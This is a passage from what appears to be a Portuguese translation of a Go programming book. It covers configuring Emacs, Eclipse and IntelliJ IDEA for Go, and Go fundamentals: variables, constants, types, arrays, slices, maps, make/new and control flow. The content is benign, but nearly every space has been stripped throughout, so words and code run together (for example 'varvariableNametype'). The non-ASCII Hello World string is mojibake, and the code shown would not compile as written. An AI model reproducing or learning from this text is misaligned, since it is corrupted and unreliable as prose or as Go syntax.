propose-builtinstrue~gocodesetlib-path"/home/border/gocode/pkg/linux_amd64"lib-path"/home/border/gocode/pkg/linux_amd64"~gocodesetpropose-builtinstruelib-path"/home/border/gocode/pkg/linux_amd64"

4. InstaleoAutoCompletionFaçaodownload,descompacteeexecute

~makeinstallDIR=$HOME/.emacs.d/auto-complete

Configureoarquivo~/.emacsconformeabaixo

;;auto-complete(require'auto-complete-config)(add-to-list'ac-dictionary-directories"~/.emacs.d/auto-complete/ac-dict")(ac-config-default)(local-set-key(kbd"M-/")'semantic-complete-analyze-inline)(local-set-key"."'semantic-complete-self-insert)(local-set-key">"'semantic-complete-self-insert)

Vejaestelinkparamaioresdetalhesdesseprocesso.

5. Finalizeaconfiguraçãodoarquivo.emacsparausarGo

;;golangmode(require'go-mode-load)(require'go-autocomplete);;speedbar;;(speedbar1)(speedbar-add-supported-extension".go")(add-hook'go-mode-hook'(lambda();;gocode(auto-complete-mode1)(setqac-sources'(ac-source-go))

;;Imenu&Speedbar(setqimenu-generic-expression'(("type""^type*\\([^\t\n\r\f]*\\)"1)("func""^func*\\(.*\\){"1)))(imenu-add-to-menubar"Index");;Outlinemode(make-local-variable'outline-regexp)(setqoutline-regexp"//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....")(outline-minor-mode1)(local-set-key"\M-a"'outline-previous-visible-heading)(local-set-key"\M-e"'outline-next-visible-heading);;Menubar(require'easymenu)(defconstgo-hooked-menu'("Gotools"["Gorunbuffer"got]["Goreformatbuffer"go-fmt-buffert]["Gocheckbuffer"go-fix-buffert]))(easy-menu-definego-added-menu(current-local-map)"Gotools"go-hooked-menu)

;;Other(setqshow-trailing-whitespacet)));;helperfunction(defungo()"runcurrentbuffer"(interactive)(compile(concat"gorun"(buffer-file-name))))

;;helperfunction(defungo-fmt-buffer()"rungofmtoncurrentbuffer"(interactive)(ifbuffer-read-only(progn(ding)(message"Bufferisreadonly"))(let((p(line-number-at-pos))(filename(buffer-file-name))(old-max-mini-window-heightmax-mini-window-height))(show-all)

(if(get-buffer"*GoReformatErrors*")(progn(delete-windows-on"*GoReformatErrors*")(kill-buffer"*GoReformatErrors*")))(setqmax-mini-window-height1)(if(=0(shell-command-on-region(point-min)(point-max)"gofmt""*GoReformatOutput*"nil"*GoReformatErrors*"t))(progn(erase-buffer)(insert-buffer-substring"*GoReformatOutput*")(goto-char(point-min))(forward-line(1-p)))(with-current-buffer"*GoReformatErrors*"(progn(goto-char(point-min))(while(re-search-forward"<standardinput>"nilt)(replace-matchfilename))(goto-char(point-min))(compilation-mode))))(setqmax-mini-window-heightold-max-mini-window-height)(delete-windows-on"*GoReformatOutput*")(kill-buffer"*GoReformatOutput*"))));;helperfunction(defungo-fix-buffer()"rungofixoncurrentbuffer"(interactive)(show-all)(shell-command-on-region(point-min)(point-max)"gotoolfix-diff"))

6. Parabéns,estátudopronto!OSpeedbarestádesativadoporpadrão,masremovaossímbolosdecomentárionalinha;;(speedbar1)paraativaresserecurso,ouaindauseocomandoM-xspeedbarcomamesmafinalidade.

Eclipse

OEclipseéoutraexcelenteferrramentadedesenvolvimento.Vejacomousá-laparaprogramaremGo.

Figure1.1PainelprincipaldoEclipseparaGo

1. FaçaodownloadeinstaleoEclipse2. Façaodownloaddogoclipseeinstaleseguindoasinstruçãonesselink

3. Façaodownloaddogocode

SevocêestiverusandonoWindows,vocêdeveinstalarogitparaWindowsparapoderinstalarogocode.Umaopçãobastanteusadaparaestefiméusaromsysgit

Instalepelalinhadecomando

goget-ugithub.com/nsf/gocode

Ouaindainstalediretamentepelocódigo-fontesepreferir.

4. FaçaodownloadeinstaleoMinGW

5. Configureosplugins.

Windows->Preferences->Go

(1).ConfigureocompiladorGo

Figure1.12ConfiguraçãoGonoEclipse

(2).Configureogocode(opcional),usandoodiretórioondevocêoinstalou(gocode.exe)

Figure1.13Configuraçãodogocode

(3).Configureogdb(opcional),usandoodiretórioondevocêoinstalou(gdb.exe).

Figure1.14Configuraçãodogdb

6. Verifiqueainstalação

CrieumnovoprojetoGoeumnovoarquivohello.goconformesegue.

Figure1.15Criarnovoprojetoearquivohello.go

Testeainstalaçãoconformeabaixo.(vocêprecisarádigitarumcomandonoconsoledoEclipse)

Figure1.16TestedeumprogramaGonoEclipse

IntelliJIDEA

AspessoasquetrabalhamcomJavatemfamiliaridadecomesteIDE.ElatambémsuportaasintaxeparalinguagemGoeauto-completeinteligenteatravésdeumplugin.

1. FaçaodownloaddaIDEA,nãohádiferençaentreasversõesUltimateeCommunityparausocomGo

2. InstaleoGoplugin.SelecioneFile-Setting-Plugins,eentãocliqueemBrowserrepo.

3. Procureporgolang,duplo-cliqueemdownloadandinstalleaguardeafinalizaçãododownload.

CliqueemApplyereinicieoIDE.

4. AgoravocêestáaptoparacriarumprojetoGo.

SeforsolicitadoocaminhoparaoseusdkGoemalgumaetapa,apenasinsiraocaminhoparaseu$GOROOT.

(Vejaestepostparaumpasso-a-passodeconfiguraçãoeusodaIntelliJIDEAcomalinguagemGo)

Links

Sumário

Seçãoanterior:ComandosGoPróximaseção:Resumo

1.5ResumoNestecapítulo,nósfalamossobreainstalaçãodalinguagemGousandotrêsmétodosdiferentes,incluindodiretamentedocódigo-fonte,pelopacotepadrãoeatravésdeferramentasdeterceiros.NasequênciamostramoscomoconfiguraroambientededesenvolvimentoparaGo,cobrindodesdeaconfiguraçãodo$GOPATH.nasequência,foramintroduzidosalgunspassosparacompilaçãoedesenvolvimentodeprogramasGoecobrimostambémosComandosGomaisimportantes,taiscomooscomandoscompile,install,formatetest.Finalmente,foramapresentadasdiversasferramentaspoderosasparaodesenvolvimentodeprogramasGo,taiscomoLiteIDE,SublimeText,Vim,Emacs,Eclipse,IntelliJIDEA,etc.VocêpodeescolherqualquerumadelasparaexploraromundodeGo.

Links

SumárioSeçãoanterior:FerramentasparadesenvolvimentoGoPróximaseção:ConhecimentobásicodeGo

2ConhecimentobásicodeGoGoéumalinguagemdeprogramaçãocompiladaepertenceafamíliadalinguagemC.Contudo,seutempodecompilaçãoémuitomaisrápidodoqueoutraslinguagensdamesmafamília.Elapossuiapenas25palavras-chave(palavrasreservadas)...umnúmeromenorqueas26letrasdoalfabetoinglês!(N.doT.:Oalfabetoportuguêsoficialmentetambémpossui26letras)Vamosdarumaolhadanessaspalavrasantesdecomeçar.

breakdefaultfuncinterfaceselectcasedefergomapstructchanelsegotopackageswitchconstfallthroughifrangetypecontinueforimportreturnvar

Nestecapítulo,vouensinarobásicodeGo.VocêiráperceberoquantoelaéumalinguagemconcisaecomoseuDesignébonito.ProgramarpodesermuitodivertidocomGo.Apóscompletarestecapítulo,vocêestaráfamiliarizadocomtodasaspalavraslistadasacima.

Links

SumárioSeçãoanterior:ResumodoCapítulo1Próximaseção:"Hello,Go"

2.1Hello,GoAntesdeiniciaraconstruçãodeaplicaçõescompletasemGo,nósprecisamosaprenderaescreverumprogramasimples,afinal,vocênãopodeconstruirumprédiosemantesconstruirsuafundação.Sendoassim,vamosaprenderasintaxebásicaparaexecutaralgunsprogramassimplesnessaseção.

Programa

Seguindoareconhecidapráticainternacional,antesdeaprendercomoprogramaremqualquerlinguagem,vocêprecisasabercomoescreverumprogramaqueimprimeafamosafrase"Helloworld".

Prontopraesseprimeirodesafio?Vamoslá!

packagemain

import"fmt"

funcmain(){fmt.Printf("Hello,worldor�����orκαλημρακóσμor�������\n")}

Istoiráimprimiraseguinteinformação.

Hello,worldor orκαλημρακóσμor

Explicação

UmacoisaquevocêprecisaentenderemprimeirolugaréqueosprogramasGosãocompostosdepacotes(identificadospelapalavra-chavepackage).

package<pkgName>defineonomedopacote,nonossoexemplotemospackagemainqueidentificaqueessecódigopertenceaopacotemaineapalavramainindicaqueessepacoteserácompiladoemumprogramaaoinvésdeumpacotecomextensão.a.

Todoprogramaexecutávelpossuium,esomenteum,pacotemaineesteúltimoprecisaconterumafunçãonomeadacomomainsemnenhumargumentoouvaloresderetorno.

ParaexibiramensagemHello,world…,foiutilizadaumafunçãochamadaPrintf.Estafunçãofazpartedopacotefmt,entãonósimportamosessepacotenaterceiralinhadocódigousandoainstruçãoimport"fmt".

AmaneiradepensarnospacotesemGoésimilaralinguagemPython,etrazaseguintesvantagens:Modularidade(quebrarseuprogramaemváriosmódulos)eReusabilidade(todososmódulospodemserusadosemdiferenteslugares).Estessãoosprincipaistópicosqueprecisamosfalar

sobrepacotes,enósvamosfazerosnossosprópriospacotesmaistarde.

Naquintalinha,nósusamosapalavrafuncparadefinirafunçãomaineocorpodafunçãoestádentrodechaves({}),damesmaformaqueéfeitoemC,C++eJava.

Comovocêpodenotar,nãotemosargumentos.Nósiremosvercomoescreverfunçõescomargumentosembreve,assimcomofunçõesquepossuemzero,umouváriosvaloresderetornotambém.

Nasextalinha,chamamosafunçãoPrintfquevemdopacotefmt.Estetipodefunçãoéinvocadapelasintaxe<pkgName>.<funcName>,queémuitoparecidocomoestiloPython.

ComomencionadonoCapítulo1,onomedopacoteeonomedapastaqueocontémpodemserdiferentes.Onomedopacotevemdo<pkgName>empackage<pkgName>,nãodonomedapasta.

Finalmente,vocêpodenotarqueoexemploacimacontémvárioscaracteresnão-ASCII(quenãoestãonatabelaASCII).OobjetivoédemonstrarquealingaugemGotemsuportenativoaUTF-8.VocêpodeusarqualquercaracterUTF-8emseusprogramas.

Conclusão

Gousapacotes(semelhantesaosmódulosemPython)paraorganizarosprogramas.Afunçãomain.main()(funçãoqueprecisaestarnopacotemain)éopontodeentradaparatodososprogramas.GosuportaUTF-8deformanativa,poisumdoscriadoresdalinguagemétambémocriadordoUTF-8,logoGopossuisuporteparaváriosidiomas(mult-lang)porpadrão.

Links

SumárioSeçãoanterior:ConhecimentobásicodeGo

Próximaseção:FundamentosGo

2.2FundamentosemGoNestaseçãovamosaprendercomodefinirconstantes,variáveiscomtiposelementaresealgumashabilidadesdeprogramaçãoemGo.

Definirvariáveis

ExistemdiversasformasdesintaxequepodemserutilizadasparadefinirvariáveisemGo.

Apalavra-chavevaréaformamaisbásicadedefinirvariáveis.ObservequealinguagemGocolocaotipodavariáveldepoisdonomedavariável.

//defineumavariávelcomonome“variableName”eotipo"type"varvariableNametype

Definirmúltiplasvariáveis.

//definetrêsvariáveisdotipo"type"varvname1,vname2,vname3type

Definirumavariávelcomumvalorinicial.

//defineumavariávelcomonome“variableName”,tipo"type"evalor"value"varvariableNametype=value

Definirmúltiplasvariáveiscomvaloresiniciais.

/*Definetrêsvariáveisdetipo"type"einicializaseusvalores.vname1recebev1,vname2recebev2,vname3recebev3*/varvname1,vname2,vname3type=v1,v2,v3

Vocêachamuitotediosodefinirvariáveisdestamaneira?NãosepreocupeporqueaequipedaGotambémachouqueistopoderiaserumproblema.Portanto,sevocêdesejadefinirvariáveiscomvaloresiniciais,podesimplesmenteomitirotipodavariável.Sendoassim,ocódigoficarádaseguinteforma:

/*Definetrêsvariáveissemotipo"type"einicializaseusvalores.vname1recebev1,vname2recebev2,vname3recebev3*/varvname1,vname2,vname3=v1,v2,v3

Bem,talvezistoaindanãosejasimplesosuficienteparavocê.Vamosvercomopodemosmelhorar.

/*Definetrêsvariáveissemotipo"type",semapalavra-chave"var"einicializaseusvalores.vname1recebev1,vname2recebev2,vname3recebev3*/vname1,vname2,vname3:=v1,v2,v3

Agoraparecemuitomelhor.Use:=parasubstituirvaretype.Istoéchamadodeuma"declaraçãocurta"(doinglês:briefstatement).Masespere,istopossuiumalimitação:estaformasópodeserutilizadadentrodefunções.Vocêreceberáerrosdecompilaçãosetentarutilizaristoforadocorpodeumafunção.Portanto,normalmenteutilizamosvarparadefinirvariáveisglobaisepodemosutilizarestadeclaraçãocurtaemvar().

_(blank)éumnomeespecialdevariável.Qualquervalorquesejaatribuídoaistoseráignorado.Porexemplo,vamosatribuirovalor35avariávelbedescartarovalor34.(Esteexemploapenasmostracomoistofunciona.Elepareceinútilaquiporquefrequentementeutilizamosestesímboloquandorecebemosvaloresderetornodeumafunção.)

_,b:=34,35

Sevocênãoutilizarvariáveisqueforamdefinidasnoseuprograma,ocompiladorirágerarerrosdecompilação.Tentecompilaroseguintecódigoevejaoqueacontece.

packagemain

funcmain(){variint}

Constantes

Constantessãoosvaloresquesãodeterminadosduranteotempodecompilaçãoevocênãopodealterá-losduranteaexecução.EmGo,vocêpodeutilizarnúmero,booleanooustringcomotiposdeconstantes.

Definaasconstantesdaseguinteforma.

constconstantName=value//vocêpodeatribuirotipodaconstantesefornecessárioconstPifloat32=3.1415926

Maisexemplos.

constPi=3.1415926

consti=10000constMaxThread=10constprefix="astaxie_"

Tiposelementares

Booleano

EmGo,utilizamosboolparadefinirumavariáveldotipobooleano,sendoqueovalorsópodesertrueoufalse,eovalorpadrãoseráfalse.(Vocênãopodeconvertertiposdevariáveis'entrenúmeroebooleano!)

//códigodeamostravarisActivebool//variávelglobalvarenabled,disabled=true,false//omiteotipodasvariáveisfunctest(){varavailablebool//variávellocalvalid:=false//declaraçãocurtadevariávelavailable=true//atribuiumvaloràvariável}

Tiposnuméricos

Tiposinteirosincluemtiposcomsinaisesemsinais.Gopossuiostiposinteuint,osquaispossuemomesmocomprimento,porém,ocomprimentoespecíficodependedosistemaoperacional.Elesutilizam32bitsemsistemasoperacionais32bitse64bitsemsistemasoperacionaisde64bits.Gotambémtêmtiposquepossuemcomprimentosespecíficos,incluindorune,int8,int16,int32,int64,byte,uint8,uint16,uint32,uint64.Notequeruneéumpseudônimodeint32ebyteéumpseudônimodeuint8.

Umacoisaimportantequevocêdevesaberéquevocênãopodeatribuirvaloresentreestestipos,estaoperaçãoirágerarerrosdecompilação.

varaint8

varbint32

c:=a+b

Emboraint32tenhaumcomprimentomaiordoqueint8,epossuiomesmotipoint,vocênãopodeatribuirvaloresentreeles.(nestecaso,cserádeclaradocomotipoint)

Tiposfloatpossuemostiposfloat32efloat64enenhumtipochamadofloat.Oúltimoéotipopadrãoutilizadoemdeclaraçõescurtas.

Istoétudo?Não!Gotambémsuportanúmeroscomplexos.complex128(comumapartede64bitsrealeumapartede64bitsimaginária)éotipopadrão,massevocêprecisadeumtipomenor,existeumtipochamadocomplex64(comumapartede32bitsrealeumapartede32bitsimaginária).

SuaformaéRE+IMi,ondeREéaparterealeIMéaparteimaginária,eoúltimoiéonúmeroimaginário.Háumexemplodenúmerocomplexo.

varccomplex64=5+5i//saída:(5+5i)fmt.Printf("Valueis:%v",c)

String

NósfalamosapenassobrecomoalinguagemGoutilizaoconjuntodecaracteresUTF-8.Asstringssãorepresentadasporaspasduplas""oucrases(backticks) `.

//códigodeamostravarfrenchHellostring//formabásicadedefinirstringvaremptyStringstring=""//defineumastringvazia

functest(){no,yes,maybe:="no","yes","maybe"//declaraçãocurtajapaneseHello:="Ohaiou"frenchHello="Bonjour"//formabásicadeatribuirvalores}

Éimpossívelalterarvaloresdestringpeloíndice.Vocêreceberáerrosaocompilaroseguintecódigo.

varsstring="hello"s[0]='c'

Eseeurealmentequiseralterarapenasumcaracteredeumastring?Tenteoseguintecódigo.

s:="hello"c:=[]byte(s)//convertestringparaotipo[]bytec[0]='c's2:=string(c)//convertenovamenteparaotipostringfmt.Printf("%s\n",s2)

Useooperador+paracombinarduasstrings.

s:="hello,"m:="world"a:=s+mfmt.Printf("%s\n",a)

etambém.

s:="hello"s="c"+s[1:]//vocênãopodealterarvaloresdastringpeloíndice,masvocêpodeobterosvaloresfmt.Printf("%s\n",s)

Eseeuquiserterumastringdemúltiplaslinhas?

m:=`helloworld`

nãoiráescaparnenhumcaracteredastring.

Tiposerror

Gopossuiumtipoerrorcomopropósitodelidarcommensagensdeerro.Hátambémumpacotechamadoerrorsparalidarcomoserros.

err:=errors.New("emitmachodwarf:elfheadercorrupted")iferr!=nil{fmt.Print(err)}

Estruturadedadossubjacente

AseguinteimagemvemdeumartigosobreestruturasdedadosemGodoBlogRussCox.Comovocêpodever,Goutilizablocosdememóriaparaarmazenardados.

Figure2.1EstruturadedadossubjacenteemGo

Algumashabilidades

Definirporgrupo

Sevocêdesejadefinirmúltiplasconstantes,variáveisouimportarpacotes,vocêpodeutilizarumaformadegrupo.

Formabásica.

import"fmt"import"os"

consti=100constpi=3.1415constprefix="Go_"

variintvarpifloat32varprefixstring

Formadegrupo.

import("fmt""os")

const(i=100pi=3.1415prefix="Go_")

var(iintpifloat32prefixstring)

Amenosquevocêatribua,ovalordaconstanteéiota,oprimeirovalordeconstantenogrupoconst()será0.Seasconstantesseguintesnãoatribuiremvaloresexplicitamente,seusvaloresserãoiguaisaoúltimo.Seovalordaúltimaconstanteéiota,osvaloresdasconstantesseguintesquenãosãoatribuídasseráiotatambém.

Enumeraçãoiota

Gopossuiumapalavra-chavechamadaiota,estapalavra-chaveéutilizada

parafazerenum,elacomeçacom0eaumentade1em1.

const(x=iota//x==0y=iota//y==1z=iota//z==2w//senãohánenhumaexpressãoapósonomedaconstate,eleusaaúltimaexpressão,ouseja,estádefinindow=iotaimplicitamente.Portanto,w==3,eyexpodemomitir"=iota"também.)

constv=iota//umavezqueiotaencontraapalavra-chave`const`,elaéredefinidapara`0`,entãov=0.

const(e,f,g=iota,iota,iota//e=0,f=0,g=0valoresdeiotasãoiguaisemumalinha.)

Algumasregras

ArazãodeGoserconcisaéporqueelapossuialgunscomportamentospadrão.

Qualquervariávelquecomeçacomumaletramaiúsculasignificaqueelaseráexportada,casocontrárioseráprivada.Amesmaregraseaplicaparafunçõeseconstantes,sendoquenãoexistemaspalavras-chavepublicouprivateemGo.

array,slice,map

array

arrayéumarrayobviamente,enósdefinimoseledaseguintemaneira.

vararr[n]type

em[n]type,néocomprimentodoarray,enquantotypeéotipodoselementoscontidosnoarray.Assimcomoemoutraslinguagens,nósutilizamos[]paraobteroudefinirvaloresdeelementosnoarray.

vararr[10]int//umarraydetipo[10]intarr[0]=42//arrayébaseadoem0arr[1]=13//atribuirumvaloraoelementofmt.Printf("Thefirstelementis%d\n",arr[0])//obtémovalordoelemento,iráretornar42fmt.Printf("Thelastelementis%d\n",arr[9])//retornaovalorpadrãodoelementodaposição10doarray,que,nestecaso,é0.

Comoocomprimentofazpartedotipodoarray,[3]inte[4]intsãotiposdiferentes,portanto,nãopodemosalterarocomprimentodosarrays.Quandovocêutilizaarrayscomoargumentos,asfunçõesobtêmsuascopiasemvezdereferências!Sevocêdesejautilizarreferências,vocêpodeutilizarslice.Falaremossobreistomaistarde.

Épossívelutilizar:=quandovocêdefinearrays.

a:=[3]int{1,2,3}//defineumarraydeinteiroscom3elementos

b:=[10]int{1,2,3}//defineumarraydeinteiroscom10elementos,dosquaisos3primeirossãoatribuídos.Orestantedelesrecebeovalorpadrão0.

c:=[...]int{4,5,6}//usa`…`parasubstituiroparâmetrodecomprimentoeaGoirácalcularistoparavocê.

Vocêpodequererutilizararrayscomoelementosdearrays'.Vamosvercomofazeristo.

//defineumarraybidimensionalcom2elementos,ecadaelementopossui4elementosdoubleArray:=[2][4]int{[4]int{1,2,3,4},[4]int{5,6,7,8}}

//Adeclaraçãopodeserescritadeformamaisconcisadaseguinteforma.easyArray:=[2][4]int{{1,2,3,4},{5,6,7,8}}

Arrayestruturadedadossubjacente.

Figure2.2Relaçãodemapeamentodearraymultidimensional

slice

Emváriassituações,otipoarraynãoéumaboaescolha-porexemploquandonãosabemosocomprimentoqueoarrayteráquandoodefinimos.Sendoassim,precisamosdeum"arraydinâmico".IstoéchamadodesliceemGo.

slicenãoérealmenteumarraydinâmico.Éumtipodereferência.sliceapontaparaumarraysubjacentecujadeclaraçãoésemelhanteaoarray,porémnãoprecisadeumcomprimentopreestabelecido.

//definimosumsliceassimcomodefinimosumarray,masdestavez,omitimosocomprimentovarfslice[]int

Entãonósdefinimosumsliceeinicializamosseusdados.

slice:=[]byte{'a','b','c','d'}

slicepoderedefinirslicesouarraysexistentes.sliceusaarray[i:j]para"cortar",ondeiéoíndicedeinícioejéoíndicefinal,masobservequeovalordearray[j]nãoseráincluídonoslice,poisocomprimentodafatiaéj-i.

//defineumarraycom10elementoscujostipossãobytesvarar=[10]byte{'a','b','c','d','e','f','g','h','i','j'}

//definedoisslicescomotipo[]bytevara,b[]byte

//'a'apontaparaoselementosdaterceiraatéaquintaposiçãodoarrayara=ar[2:5]//agora'a'possuioselementosar[2],ar[3]ear[4]

//'b'éoutroslicedoarrayarb=ar[3:5]//agora'b'possuioselementosar[3]ear[4]

Observeasdiferençasentresliceearrayquandovocêdefineeles.Nósutilizamos[…]paradeixaralinguagemGocalcularocomprimento,masutilizamos[]paradefinirumslice.

Suaestruturadedadossubjacente.

Figure2.3Relaçãoentersliceearray

slicepossuialgumasoperaçõesconvenientes.

sliceébaseadoem0,ar[:n]igualaar[0:n]Seomitido,osegundoíndiceseráocomprimentodoslice,ar[n:]igualaar[n:len(ar)].Vocêpodeusarar[:]para"cortar"oarrayinteiro,asrazõessãoexplicadasnasduasprimeirasdeclarações.

Maisexemplosreferentesaslice

//defineumarrayvararray=[10]byte{'a','b','c','d','e','f','g','h','i','j'}//definedoisslicesvaraSlice,bSlice[]byte

//algumasoperaçõesconvenientesaSlice=array[:3]//igualaaSlice=array[0:3]aSlicepossuioselementosa,b,caSlice=array[5:]//igualaaSlice=array[5:10]aSlicepossuioselementosf,g,h,i,jaSlice=array[:]//igualaaSlice=array[0:10]aSlicepossuitodososelementos

//slicedeumsliceaSlice=array[3:7]//aSlicepossuioselementosd,e,f,glen=4cap=7bSlice=aSlice[1:3]//bSlicecontémaSlice[1],aSlice[2],entãotêmoselementose,fbSlice=aSlice[:3]//bSlicecontémaSlice[0],aSlice[1],aSlice[2],entãotêmoselementosd,e,fbSlice=aSlice[0:5]//slicepodeserexpandidonointervalodecap,agorabSlicecontémd,e,f,g,hbSlice=aSlice[:]//bSlicetêmosmesmoselementosdosliceaSlice,osquaissãod,e,f,g

sliceéumtipodereferência,portanto,qualqueralteraçãoiráafetaroutrasvariáveisqueapontamparaomesmosliceouarray.Porexemplo,no

casodosslicesaSliceebSliceapresentadoacima,sevocêalterarovalordeumelementoemaSlice,bSlicetambémseráalterado.

sliceécomoumaestruturapordefinição,econtém3partes.

Umponteiroqueapontaparaondeosliceinicia.Ocomprimentodoslice.

Capacidade,ocomprimentodoíndicedeinícioparaoíndicefinaldoslice.

Array_a:=[10]byte{'a','b','c','d','e','f','g','h','i','j'}Slice_a:=Array_a[2:5]

Segueaseguiraestruturasubjacentedocódigoacima.

Figure2.4Informaçõesdoslicedeumarray

Existemalgumasfunçõesincorporadasnoslice.

lenobtémocomprimentodoslice.capobtémocomprimentomáximodoslice.appendacrescentaumoumaiselementosaoslice,eretornaum

slice.copycopiaelementosdeumsliceparaoutroeretornaonúmerodeelementosqueforamcopiados.

Atenção:appendiráalteraroarrayparaondeosliceapontaeafetarátambémoutrosslicesqueapontamparaomesmoarray.Alémdisto,senãohouvercomprimentosuficienteparaoslice((cap-len)==0),appendretornaumnovoarrayparaoslice.Quandoistoacontece,outrosslicesqueestãoapontandoparaoarrayantigonãoserãoafetados.

map

mapsecomportacomoumdicionárioemPython.Useaformamap[keyType]valueTypeparadefini-lo.

Vamosverumpoucodecódigo.Osvalores'set'e'get'emmapsãosemelhantesaoslice,noentanto,oíndicenoslicesópodeserdotipo'int'enquantomappodeusarmuitosoutrostipos,comoporexemplo:int,string,ouqualqueroutroquevocêquiser.Alémdisto,elessãocapazesdeusar==e!=paracompararvalores.

//usestringcomootipochave,intcomootipovalore`make`parainicializar.varnumbersmap[string]int//outraformadedefinirmapnumbers:=make(map[string]int)numbers["one"]=1//atribuivalorporchavenumbers["ten"]=10numbers["three"]=3

fmt.Println("Thethirdnumberis:",numbers["three"])//obtémvalores//Istoimprime:Thethirdnumberis:3

Algumasnotassobreousodemap.

mapédesordenado.Todavezquevocêimprimemapvocêteráresultadosdiferentes.Éimpossívelobtervaloresporíndice-você

precisautilizarchave.mapnãotemumcomprimentofixo.Éumtipodereferência,assimcomooslice.lentambémfuncionaparamap.Istoretornaquantaschavesomaptem.Émuitofácilalterarvaloresutilizandomap.Bastausarnumbers["one"]=11paraalterarovalordachaveonepara11.

Vocêpodeusaraformachave:valorparainicializarvaloresemummap,poismappossuimétodosembutidosparaverificarseachaveexiste.

Usedeleteparadeletarumelementoemummap.

//Inicializaummaprating:=map[string]float32{"C":5,"Go":4.5,"Python":4.5,"C++":2}//mappossuidoisvaloresderetorno.Casoachavenãoexista,osegundovalorderetorno,nestecasorecebidopelavariável'ok',seráfalso(false).Casocontrárioseráverdadeiro(true).csharpRating,ok:=rating["C#"]ifok{fmt.Println("C#isinthemapanditsratingis",csharpRating)}else{fmt.Println("WehavenoratingassociatedwithC#inthemap")}

delete(rating,"C")//deletaoelementocomachave"c"

Comofoiditoacima,mapéumtipodereferência.Sedoismapsapontamparaomesmodadosubjacente,qualqueralteraçãoiráafetarambos.

m:=make(map[string]string)m["Hello"]="Bonjour"m1:=mm1["Hello"]="Salut"//agoraovalordem["hello"]éSalut

make,new

makerealizaalocaçãodememóriaparamodelosinternos,comomap,slice,echannel,enquantonewéutilizadoparaalocaçãodememóriadetipos.

new(T)alocaamemóriaparaovalorzerodotipoTeretornaseuendereçodememória,queéovalordotipo*T.Pordefinição,istoretornaumponteiroqueapontaparaovalorzerodeT.

newretornaponteiros.

Afunçãointernamake(T,args)possuidiferentespropósitossecomparadoanew(T).makepodeserusadoparaslice,map,echannel,eretornaotipoTcomumvalorinicial.Arazãoparafazeristoéporqueosdadossubjacentesdestestrêstiposdevemserinicializadosantesdeapontarparaeles.Porexemplo,umslicecontémumponteiroqueapontaparaumarraysubjacente,comprimentoecapacidade.Antesqueestesdadossejaminicializados,sliceénil,então,paraslice,mapechannel,makeinicializaseusdadossubjacenteseatribuialgunsvaloresadequados.

makeretornavaloresdiferentesdezero.

Aseguinteimagemmostracomonewemakesãodiferentes.

Figure2.5Alocaçãodememóriaparamakeenew

Valorzeronãosignificavalorvazio.Namaioriadoscasoséovalorpadrãodasvariáveis.Aquiestáumalistadealgunsvaloreszero.

int0int80int320int640uint0x0rune0//otiporealderuneéint32byte0x0//otiporealdebyteéuint8float320//comprimentoé4bytesfloat640//comprimentoé8bytesboolfalsestring""

Links

Sumário

Seçãoanterior:"Hello,Go"Próximaseção:Declaraçõesdecontroleefunções

2.3DeclaraçõesdecontroleefunçõesNestaseçãonósvamosfalarsobredeclaraçõesdecontroleeoperaçõesdefunçõesemGo.

DeclaraçõesdeControle

Amaiorinvençãonaprogramaçãoéocontroledefluxo.Porcausadele,vocêécapazdeutilizardeclaraçõesdecontrolesimplesquepodemserusadaspararepresentarlógicascomplexas.Existemtrêscategoriasdecontroledefluxo:condicional,controledecicloesaltoincondicional.

if

ifprovavelmenteseráapalavra-chavemaisutilizadanosseusprogramas.Seeleatendeascondições,entãoelefazalgumacoisaecasocontráriofazalgumaoutracoisa.

ifnãoprecisadeparêntesesemGo.

ifx>10{fmt.Println("xisgreaterthan10")}else{fmt.Println("xislessthanorequalto10")}

AcoisamaisútilsobreoifemGoéqueelepodeterumainstruçãodeinicializaçãoantesdainstruçãocondicional.Oescopodasvariáveisdefinidasnestainstruçãodeinicializaçãosóestãodisponíveisdentrodoblocode

definiçãodoif.

//inicializaxeentãoconferesexémaiorque10ifx:=computedValue();x>10{fmt.Println("xisgreaterthan10")}else{fmt.Println("xislessthan10")}

//ocódigoseguintenãocompilaráfmt.Println(x)

Useif-elseparamúltiplascondições.

ifinteger==3{fmt.Println("Theintegerisequalto3")}elseifinteger<3{fmt.Println("Theintegerislessthan3")}else{fmt.Println("Theintegerisgreaterthan3")}

goto

Gopossuiumapalavra-chavechamadagoto,mascuidadoaoutilizarela.gotoreencaminhaofluxodecontroleparaumlabeldefinidoanteriormentedentrodomesmoblocodecódigo.

funcmyFunc(){i:=0Here://labelterminacom":"fmt.Println(i)i++gotoHere//puleparaolabel"Here"}

Onomedolabelécasesensitive.

for

foréalógicadecontrolemaispoderosaemGo.Elepodelerdadosemloopseoperaçõesiterativas,assimcomoowhile.

forexpression1;expression2;expression3{//...}

expression1,expression2eexpression3sãotodasexpressões,ondeexpression1eexpression3sãodefiniçõesdevariáveisouatribuições,eexpression2éumadeclaraçãocondicional.expression1seráexecutadaumavezantesdoloop,eexpression3seráexecutadadepoisdecadaiteraçãodoloop.

Exemplossãomaisúteisquepalavras.

packagemainimport"fmt"

funcmain(){sum:=0;forindex:=0;index<10;index++{sum+=index}fmt.Println("sumisequalto",sum)}//Mostrasumisequalto45

Algumasvezesnósprecisamosdeváriasatribuições,porémGonãopossuiooperador,,entãonósusamosatribuiçõesparalelascomoi,j=i+1,j-1.

Nóspodemosomitirasexpressõesexpression1eexpression3seelasnãoforemnecessárias.

sum:=1for;sum<1000;{sum+=sum}

Podemosomitirtambémo;.Istolheparecefamiliar?Sim,éidênticoaowhile.

sum:=1forsum<1000{sum+=sum}

Existemduasoperaçõesimportantesemloopsquesãobreakecontinue.break"pula"foradoloop,econtinueignoraoloopatualeiniciaopróximo.Sevocêtiverloopsaninhadosusebreakjuntamentecomlabels.

forindex:=10;index>0;index--{ifindex==5{break//oucontinue}fmt.Println(index)}//breakmostra109876//continuemostra1098764321

forpodelerdadosdeumsliceoumapquandoforutilizadojuntocomrange.

fork,v:=rangemap{fmt.Println("map'skey:",k)fmt.Println("map'sval:",v)}

ComoGosuportamúltiplosvaloresderetornoegeraumerrodecompilação

casovocênãouseosvaloresqueforamdefinidos,vocêpodequererutilizar_paradescartarcertosvaloresderetorno.

for_,v:=rangemap{fmt.Println("map'sval:",v)}

switch

